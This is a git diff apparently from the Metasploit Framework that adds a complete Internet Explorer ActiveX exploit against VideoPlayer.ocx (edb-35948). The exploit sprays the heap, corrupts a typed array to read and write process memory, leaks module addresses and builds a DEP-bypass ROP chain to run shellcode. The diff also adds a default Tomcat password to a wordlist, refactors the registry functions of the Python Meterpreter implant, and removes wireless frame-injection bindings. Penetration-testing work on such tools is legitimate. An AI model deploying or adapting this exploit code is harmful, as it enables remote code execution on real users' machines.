diff --git a/.travis.yml b/.travis.yml index fcf8745ccdde..4a9ffd5e2a31 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,7 +25,6 @@ script: - git diff --exit-code && bundle exec rake $RAKE_TASKS sudo: false rvm: - - '1.9.3' - '2.1' notifications: diff --git a/Gemfile.lock b/Gemfile.lock index be8dd91aa2c3..a335d045dd09 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH nokogiri packetfu (= 1.1.9) railties - rb-readline + rb-readline-r7 recog (~> 1.0) robots rubyzip (~> 1.1) @@ -22,9 +22,9 @@ PATH tzinfo metasploit-framework-db (4.11.0.pre.dev) activerecord (>= 3.2.21, < 4.0.0) - metasploit-credential (~> 0.13.19) + metasploit-credential (~> 0.14.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 0.22.8) + metasploit_data_models (~> 0.23.0) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -112,10 +112,10 @@ GEM metasploit-concern (0.3.0) activesupport (~> 3.0, >= 3.0.0) railties (< 4.0.0) - metasploit-credential (0.13.19) + metasploit-credential (0.14.0) metasploit-concern (~> 0.3.0) metasploit-model (~> 0.29.0) - metasploit_data_models (~> 0.22.8) + metasploit_data_models (~> 0.23.0) pg railties (< 4.0.0) rubyntlm @@ -123,7 +123,7 @@ GEM metasploit-model (0.29.0) activesupport railties (< 4.0.0) - metasploit_data_models (0.22.8) + metasploit_data_models (0.23.0) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers @@ -172,7 +172,7 @@ GEM rdoc (~> 3.4) thor (>= 0.14.6, < 2.0) rake (10.4.2) - rb-readline (0.5.2) + rb-readline-r7 (0.5.2.0) rdoc (3.12.2) json (~> 1.4) recog (1.0.16) diff --git a/LICENSE b/LICENSE index 4e8724eaf54c..f246415b212a 100644 --- a/LICENSE +++ b/LICENSE @@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding 2009-2012 H D Moore License: BSD-3-clause -Files: external/ruby-lorcon/* -Copyright: 2005, dragorn and Joshua Wright -License: LGPL-2.1 - Files: external/source/exploits/IE11SandboxEscapes/* Copyright: James Forshaw, 2014 License: GPLv3 diff --git a/data/exploits/edb-35948/js/exploit.js b/data/exploits/edb-35948/js/exploit.js new file mode 100644 index 000000000000..9e236998bfbe --- /dev/null +++ b/data/exploits/edb-35948/js/exploit.js @@ -0,0 +1,126 @@ +var Exploit = function () { + // create its vulnerable ActiveX object (as HTMLObjectElement) + this.obj = document.createElement("object"); + this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B"); + // perform controlled memwrite to 0x1111f010: typed array header is at + // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with + // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00 + // The first 3 dwords are sideeffects due to the code we abuse for the + // controlled memcpy + this.whereAddress = 0x1111f010; + this.memory = null; + this.addresses = new Object(); + this.sprayer = null; + this.informer = null; + this.sc = "<%=shellcode%>"; +}; + +Exploit.prototype.run = function() { + CollectGarbage(); + this.sprayer = new Sprayer(); + this.sprayer.spray(); + + this.memory = this.doCorruption(); + + //alert(this.memory.length.toString(16)) + if (this.memory.length != 0x7fffffff){ + //alert("Cannot change Uint32Array length"); + return -1; + } + + // now we could even repair the change we did with memcpy ... + + this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress); + var leakSuccess = this.leakAddresses(); + + if (leakSuccess != 0) { + //alert("Cannot leak required address to build the ROP chain"); + return leakSuccess; + } + + var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length); + ropBuilder.buildRop(); + + // manipulate object data to gain EIP control with "Play" method + var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26]; + this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call + + // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */ + this.obj.Play() +}; + +Exploit.prototype.prepareOverflow = function() { + // prepare buffer with address we want to write to + var ptrBuf = ""; + // fill buffer: length = relative pointer address - buffer start + pointer + // offset + while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" } + ptrBuf += this.dword2str(this.whereAddress); + + return ptrBuf; +}; + +Exploit.prototype.doCorruption = function() { + var ptrBuf = this.prepareOverflow(); + + // trigger: overflow buffer and overwrite the pointer value after buffer + this.obj.SetText(ptrBuf, 0, 0); + //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068") + + // use overwritten pointer after buffer with method "SetFontName" to conduct + // memory write. We overwrite a typed array's header length to 0x40 and let + // its buffer point to the next typed array header at 0x1111f030 (see above) + this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE + + + if (this.sprayer.find() == -1){ + //alert("cannot find corrupted Uint32Array"); + return -1 + } + + // modify subsequent Uint32Array to be able to RW all process memory + this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length + this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem + + // our memory READWRITE interface :) + return this.sprayer.fullMemory; +}; + +Exploit.prototype.leakAddresses = function() { + this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj); + + this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj); + + // check if we have the image of VideoPlayer.ocx + // check for MZ9000 header and "Vide" string at offset 0x6a000 + if (this.memory[this.addresses['base'] / 4] != 0x905a4d || + this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){ + //alert("Cannot find VideoPlayer.ocx base or its version is wrong"); + return -1; + } + //alert(this.addresses['base'].toString(16)) + + // get VirtualAlloc from imports of VideoPlayer.ocx + this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4]; + // memcpy is available inside VideoPlayer.ocx + this.addresses['memcpy'] = this.addresses['base'] + 0x15070; + //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16)) + + scBuf = new Uint8Array(this.sc.length); + for (n=0; n < this.sc.length; n++){ + scBuf[n] = this.sc.charCodeAt(n); + } + + this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf); + + return 0; +}; + +// dword to little endian string +Exploit.prototype.dword2str = function(dword) { + var str = ""; + for (var n=0; n < 4; n++){ + str += String.fromCharCode((dword >> 8 * n) & 0xff); + } + return str; +}; diff --git a/data/exploits/edb-35948/js/informer.js b/data/exploits/edb-35948/js/informer.js new file mode 100644 index 000000000000..f9d0192062db --- /dev/null +++ b/data/exploits/edb-35948/js/informer.js @@ -0,0 +1,52 @@ +var Informer = function(infArray, mem, ref) { + this.infoLeakArray = infArray; + this.memoryArray = mem; + this.referenceAddress = ref; +}; + +// Calculate VideoPlayer.ocx base +Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) { + this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element + //alert(mem[0x11120020/4].toString(16)) + var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) + var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 + var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64 + // deref heap pointer containing VideoPlayer.ocx pointer + var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4]; + var base = videoplayerPtr - 0x6b3b0; // calculate base + + return base; +}; + +// Calculate VideoPlayer object addres +Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) { + this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element + //alert(mem[0x11120020/4].toString(16)) + var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) + var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 + + return objPtr; +}; + +// Calculate the shellcode address +Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) { + this.infoLeakArray[0] = shellcodeBuffer; + // therefore, leak array element at 0x11120020 (typed array header of + // Uint8Array containing shellcode) ... + var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; + // ...and deref array element + 0x1c (=> leak shellcode's buffer address) + var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7] + + return shellcodeAddr; +}; + + +Informer.prototype.leakRopAddress = function(ropArray) { + this.infoLeakArray[0] = ropArray + // leak array element at 0x11120020 (typed array header) + var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; + // deref array element + 0x1c (leak rop's buffer address) + var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address + + return ropAddr; +}; diff --git a/data/exploits/edb-35948/js/rop_builder.js b/data/exploits/edb-35948/js/rop_builder.js new file mode 100644 index 000000000000..993669540ba2 --- /dev/null +++ b/data/exploits/edb-35948/js/rop_builder.js @@ -0,0 +1,38 @@ +var RopBuilder = function(informer, addresses, scLength) { + this.rop = new Uint32Array(0x1000); + this.ropAddress = informer.leakRopAddress(this.rop); + this.base = addresses['base']; + this.virtualAlloc = addresses['virtualAlloc']; + this.memcpy = addresses['memcpy']; + this.scAddr = addresses['shellcode']; + this.scLength = scLength; +}; + +// Build the ROP chain to bypass DEP +RopBuilder.prototype.buildRop = function() { + // ROP chain (rets in comments are omitted) + // we perform: + // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX) + // memcpy(EAX, shellcode, shellcodeLen) + // (void(*)())EAX() + var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] + this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30; + this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called + this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX) + this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7 + this.rop[offs + 0x3] = 0; // lpAddress + this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000) + this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT) + this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE) + this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2) + this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem + this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX; + this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain + this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem + this.rop[offs + 0xc] = this.memcpy; + this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime + this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime + this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2) + this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3) +}; + diff --git a/data/exploits/edb-35948/js/sprayer.js b/data/exploits/edb-35948/js/sprayer.js new file mode 100644 index 000000000000..8d6a5bbcd4d8 --- /dev/null +++ b/data/exploits/edb-35948/js/sprayer.js @@ -0,0 +1,58 @@ +var Sprayer = function () { + // amount of arrays to create on the heap + this.nrArrays = 0x1000; + // size of data in one array block: 0xefe0 bytes => + // subract array header (0x20) and space for typed array headers (0x1000) + // from 0x10000 + this.arrSize = (0x10000-0x20-0x1000)/4; + // heap array container will hold our heap sprayed data + this.arr = new Array(this.nrArrays); + // use one buffer for all typed arrays + this.intArrBuf = new ArrayBuffer(4); + this.corruptedArray = null; + this.corruptedArrayNext = null; +}; + +// Spray the heap with array data blocks and subsequent typed array headers +// of type Uint32Array +Sprayer.prototype.spray = function() { + var k = 0; + while(k < this.nrArrays) { + // create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data + // aligned at 0xXXXX0020) + this.arr[k] = new Array(this.arrSize); + + // fill remaining page (0x1000) after array data with headers of + // "jscript9!Js::TypedArray" (0x55 * 0x30 = 0xff0) as a + // typed array header has the size of 0x30. 0x10 bytes are left empty + for(var i = 0; i < 0x55; i++){ + // headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,... + this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1); + } + + // tag the array's last element + this.arr[k][this.arrSize - 1] = 0x12121212; + k += 1; + } +}; + +// Find the corrupted Uint32Array (typed array) +Sprayer.prototype.find = function() { + var k = 0; + + while(k < this.nrArrays - 1) { + for(var i = 0; i < 0x55-1; i++){ + if(this.arr[k][i][0] != 0){ + // address of jscript9!Js::TypedArray::`vftable' + // alert("0x" + arr[k][i][0].toString(16)) + this.corruptedArray = this.arr[k][i]; + this.corruptedArrayNext = this.arr[k+1]; + this.fullMemory = this.arr[k][i+1]; + return 1; + } + } + k++; + } + + return -1; +}; \ No newline at end of file diff --git a/data/exploits/edb-35948/main.html b/data/exploits/edb-35948/main.html new file mode 100644 index 000000000000..74bc867a8e94 --- /dev/null +++ b/data/exploits/edb-35948/main.html @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin deleted file mode 100644 index 4775e14a8646..000000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin deleted file mode 100644 index e1f50dc69560..000000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin deleted file mode 100644 index 8790163d3b7c..000000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin deleted file mode 100644 index da3d49823641..000000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin deleted file mode 100644 index 1f2c9feb5c7d..000000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin deleted file mode 100644 index f8dc1efd5404..000000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin and /dev/null differ diff --git a/data/java/metasploit/JMXPayload.class b/data/java/metasploit/JMXPayload.class new file mode 100644 index 000000000000..40851754368d Binary files /dev/null and b/data/java/metasploit/JMXPayload.class differ diff --git a/data/java/metasploit/JMXPayloadMBean.class b/data/java/metasploit/JMXPayloadMBean.class new file mode 100644 index 000000000000..1aa20d9df855 Binary files /dev/null and b/data/java/metasploit/JMXPayloadMBean.class differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 1bd02b02f8dc..31811139a469 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response): channel.shutdown(how) return ERROR_SUCCESS, response +def _wreg_close_key(hkey): + ctypes.windll.advapi32.RegCloseKey(hkey) + @meterpreter.register_function_windll def stdapi_registry_close_key(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - result = ctypes.windll.advapi32.RegCloseKey(hkey) + _wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value']) return ERROR_SUCCESS, response @meterpreter.register_function_windll @@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response): result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name)) return result, response -@meterpreter.register_function_windll -def stdapi_registry_enum_key(request, response): +def _wreg_enum_key(request, response, hkey): ERROR_MORE_DATA = 0xea ERROR_NO_MORE_ITEMS = 0x0103 - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] name = (ctypes.c_char * 4096)() index = 0 tries = 0 @@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response): return result, response @meterpreter.register_function_windll -def stdapi_registry_enum_value(request, response): +def stdapi_registry_enum_key(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _wreg_enum_key(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_enum_key_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _wreg_enum_key(request, response, hkey) + _wreg_close_key(hkey) + return ret + +def _wreg_enum_value(request, response, hkey): ERROR_MORE_DATA = 0xea ERROR_NO_MORE_ITEMS = 0x0103 - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] name = (ctypes.c_char * 4096)() name_sz = ctypes.c_uint32() index = 0 @@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response): index += 1 return result, response +@meterpreter.register_function_windll +def stdapi_registry_enum_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _wreg_enum_value(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_enum_value_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _wreg_enum_value(request, response, hkey) + _wreg_close_key(hkey) + return ret + @meterpreter.register_function_windll def stdapi_registry_load_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) @@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response): result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) return result, response -@meterpreter.register_function_windll -def stdapi_registry_open_key(request, response): +def _wreg_open_key(request): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) handle_id = ctypes.c_void_p() if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) + return error_result_windows(), 0 + return ERROR_SUCCESS, handle_id.value + +@meterpreter.register_function_windll +def stdapi_registry_open_key(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + response += tlv_pack(TLV_TYPE_HKEY, hkey) return ERROR_SUCCESS, response @meterpreter.register_function_windll @@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response): response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) return ERROR_SUCCESS, response -@meterpreter.register_function_windll -def stdapi_registry_query_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] +def _query_value(request, response, hkey): value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = ctypes.c_uint32() @@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response): return error_result_windows(), response @meterpreter.register_function_windll -def stdapi_registry_set_value(request, response): +def stdapi_registry_query_value(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _query_value(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_query_value_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _query_value(request, response, hkey) + _wreg_close_key(hkey) + return ret + +def _set_value(request, response, hkey): value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] @@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response): result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) return result, response +@meterpreter.register_function_windll +def stdapi_registry_set_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + return _set_value(request, response, hkey) + +@meterpreter.register_function_windll +def stdapi_registry_set_value_direct(request, response): + err, hkey = _wreg_open_key(request) + if err != ERROR_SUCCESS: + return err, response + ret = _set_value(request, response, hkey) + _wreg_close_key(hkey) + return ret + @meterpreter.register_function_windll def stdapi_registry_unload_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] diff --git a/data/wordlists/tomcat_mgr_default_userpass.txt b/data/wordlists/tomcat_mgr_default_userpass.txt index c1e5fc29f029..bce901bbac84 100755 --- a/data/wordlists/tomcat_mgr_default_userpass.txt +++ b/data/wordlists/tomcat_mgr_default_userpass.txt @@ -5,3 +5,4 @@ root owaspbwa ADMIN ADMIN xampp xampp tomcat s3cret +QCC QLogic66 diff --git a/db/schema.rb b/db/schema.rb index 057c061e4043..e27c3a8b04a1 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20150205192745) do +ActiveRecord::Schema.define(:version => 20150212214222) do create_table "api_keys", :force => true do |t| t.text "token" @@ -454,6 +454,7 @@ t.text "info" end + add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true add_index "services", ["name"], :name => "index_services_on_name" add_index "services", ["port"], :name => "index_services_on_port" add_index "services", ["proto"], :name => "index_services_on_proto" diff --git a/external/ruby-lorcon/Lorcon.c b/external/ruby-lorcon/Lorcon.c deleted file mode 100644 index 196d67919baa..000000000000 --- a/external/ruby-lorcon/Lorcon.c +++ /dev/null @@ -1,525 +0,0 @@ -#include "Lorcon.h" -#include "ruby.h" - -/* - self.license = GPLv2; -*/ - -/* - This is a derivative of the tx.c sample included with lorcon: - http://802.11ninja.net/lorcon/ - - lorcon is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - lorcon is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with lorcon; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - - Copyright (c) 2005 dragorn and Joshua Wright - -*/ - -/* - Lots of code borrowed from Tom Wambold's pylorcon: - http://pylorcon.googlecode.com/ - tom5760[at]gmail.com -*/ - -/* - All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007 - http://metasploit.com/ - msfdev[at]metasploit.com -*/ - -VALUE mLorcon; -VALUE cDevice; - -VALUE lorcon_get_version(VALUE self) { - return INT2NUM(tx80211_getversion()); -} - -VALUE lorcon_cap_to_list(int cap) { - VALUE list; - list = rb_ary_new(); - - if ((cap & TX80211_CAP_SNIFF) != 0) - rb_ary_push(list, rb_str_new2("SNIFF")); - - if ((cap & TX80211_CAP_TRANSMIT) != 0) - rb_ary_push(list, rb_str_new2("TRANSMIT")); - - if ((cap & TX80211_CAP_SEQ) != 0) - rb_ary_push(list, rb_str_new2("SEQ")); - - if ((cap & TX80211_CAP_BSSTIME) != 0) - rb_ary_push(list, rb_str_new2("BSSTIME")); - - if ((cap & TX80211_CAP_FRAG) != 0) - rb_ary_push(list, rb_str_new2("FRAG")); - - if ((cap & TX80211_CAP_CTRL) != 0) - rb_ary_push(list, rb_str_new2("CTRL")); - - if ((cap & TX80211_CAP_DURID) != 0) - rb_ary_push(list, rb_str_new2("DURID")); - - if ((cap & TX80211_CAP_SNIFFACK) != 0) - rb_ary_push(list, rb_str_new2("SNIFFACK")); - - if ((cap & TX80211_CAP_SELFACK) != 0) - rb_ary_push(list, rb_str_new2("SELFACK")); - - if ((cap & TX80211_CAP_TXNOWAIT) != 0) - rb_ary_push(list, rb_str_new2("TXNOWAIT")); - - if ((cap & TX80211_CAP_DSSSTX) != 0) - rb_ary_push(list, rb_str_new2("DSSSTX")); - - if ((cap & TX80211_CAP_OFDMTX) != 0) - rb_ary_push(list, rb_str_new2("OFDMTX")); - - if ((cap & TX80211_CAP_MIMOTX) != 0) - rb_ary_push(list, rb_str_new2("MIMOTX")); - - if ((cap & TX80211_CAP_SETRATE) != 0) - rb_ary_push(list, rb_str_new2("SETRATE")); - - if ((cap & TX80211_CAP_SETMODULATION) != 0) - rb_ary_push(list, rb_str_new2("SETMODULATION")); - - if ((cap & TX80211_CAP_NONE) != 0) - rb_ary_push(list, rb_str_new2("NONE")); - - return list; -} - - -static VALUE lorcon_driver_list(VALUE self) { - VALUE list; - VALUE hash; - - struct tx80211_cardlist *cards = NULL; - int i; - - list = rb_hash_new(); - cards = tx80211_getcardlist(); - if (cards == NULL) { - return(Qnil); - } - - for (i = 1; i < cards->num_cards; i++) { - hash = rb_hash_new(); - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i])); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i])); - rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i])); - rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash); - } - - tx80211_freecardlist(cards); - return(list); -} - -static VALUE lorcon_device_get_channel(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2NUM(tx80211_getchannel(&rld->in_tx)); -} - -static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - tx80211_setchannel(&rld->in_tx, NUM2INT(channel)); - return INT2NUM(tx80211_getchannel(&rld->in_tx)); -} - -void lorcon_device_free(struct rldev *rld) { - if (tx80211_getmode(&rld->in_tx) >= 0) { - tx80211_close(&rld->in_tx); - } - free(&rld->in_tx); -} - - -static VALUE lorcon_device_get_mode(VALUE self) { - struct rldev *rld; - int mode; - Data_Get_Struct(self, struct rldev, rld); - - - mode = tx80211_getmode(&rld->in_tx); - if (mode < 0) { - rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - switch (mode) { - case TX80211_MODE_AUTO: - return rb_str_new2("AUTO"); - break; - case TX80211_MODE_ADHOC: - return rb_str_new2("ADHOC"); - break; - case TX80211_MODE_INFRA: - return rb_str_new2("INFRA"); - break; - case TX80211_MODE_MASTER: - return rb_str_new2("MASTER"); - break; - case TX80211_MODE_REPEAT: - return rb_str_new2("REPEAT"); - break; - case TX80211_MODE_SECOND: - return rb_str_new2("SECOND"); - break; - case TX80211_MODE_MONITOR: - return rb_str_new2("MONITOR"); - break; - default: - return Qnil; - break; - } -} - -static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) { - struct rldev *rld; - char *setmode = StringValuePtr(rmode); - int mode = -1; - - Data_Get_Struct(self, struct rldev, rld); - - if (strcmp(setmode, "AUTO") == 0) { - mode = TX80211_MODE_AUTO; - } else if (strcmp(setmode, "ADHOC") == 0) { - mode = TX80211_MODE_ADHOC; - } else if (strcmp(setmode, "INFRA") == 0) { - mode = TX80211_MODE_INFRA; - } else if (strcmp(setmode, "MASTER") == 0) { - mode = TX80211_MODE_MASTER; - } else if (strcmp(setmode, "REPEAT") == 0) { - mode = TX80211_MODE_REPEAT; - } else if (strcmp(setmode, "SECOND") == 0) { - mode = TX80211_MODE_SECOND; - } else if (strcmp(setmode, "MONITOR") == 0) { - mode = TX80211_MODE_MONITOR; - } else { - rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return INT2NUM(tx80211_setmode(&rld->in_tx, mode)); -} - - -static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) { - struct rldev *rld; - char *funcmode = StringValuePtr(rmode); - int mode = -1; - - Data_Get_Struct(self, struct rldev, rld); - - if (strcmp(funcmode, "RFMON") == 0) { - mode = TX80211_FUNCMODE_RFMON; - } else if (strcmp(funcmode, "INJECT") == 0) { - mode = TX80211_FUNCMODE_INJECT; - } else if (strcmp(funcmode, "INJMON") == 0) { - mode = TX80211_FUNCMODE_INJMON; - } else { - rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) { - rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - return Qtrue; -} - - -static VALUE lorcon_device_get_txrate(VALUE self) { - struct rldev *rld; - int txrate; - - txrate = tx80211_gettxrate(&rld->in_packet); - Data_Get_Struct(self, struct rldev, rld); - - switch (txrate) { - case TX80211_RATE_DEFAULT: - return UINT2NUM(0); - break; - case TX80211_RATE_1MB: - return UINT2NUM(1); - break; - case TX80211_RATE_2MB: - return UINT2NUM(2); - break; 